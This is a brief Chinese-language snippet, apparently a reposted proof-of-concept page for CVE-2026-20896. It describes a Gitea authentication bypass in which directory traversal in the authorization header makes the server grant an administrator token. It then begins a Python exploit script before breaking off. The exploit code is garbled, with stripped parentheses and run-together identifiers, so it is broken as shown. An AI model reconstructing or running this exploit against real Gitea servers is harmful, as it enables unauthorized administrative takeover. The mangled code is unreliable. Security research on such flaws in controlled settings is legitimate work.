CVE-2026-20896

概念验证代码 CVE-2026-20896 该脚本自动化利用了 Gitea API 路径验证中的逻辑缺陷，通过授权头中的目录遍历攻击，强制服务器授予有效的管理员令牌。 root@kitploit: !/usr/bin/env python3 PoC: Gitea 身份验证绕过 CVE-2026-20896 仅用于受控环境和授权审计（CTF） import requests import sys import argparse def exponebypasstargetip, username: printf" 开始攻击 Gitea 服务器：targetip" 易受攻击的 API 端点...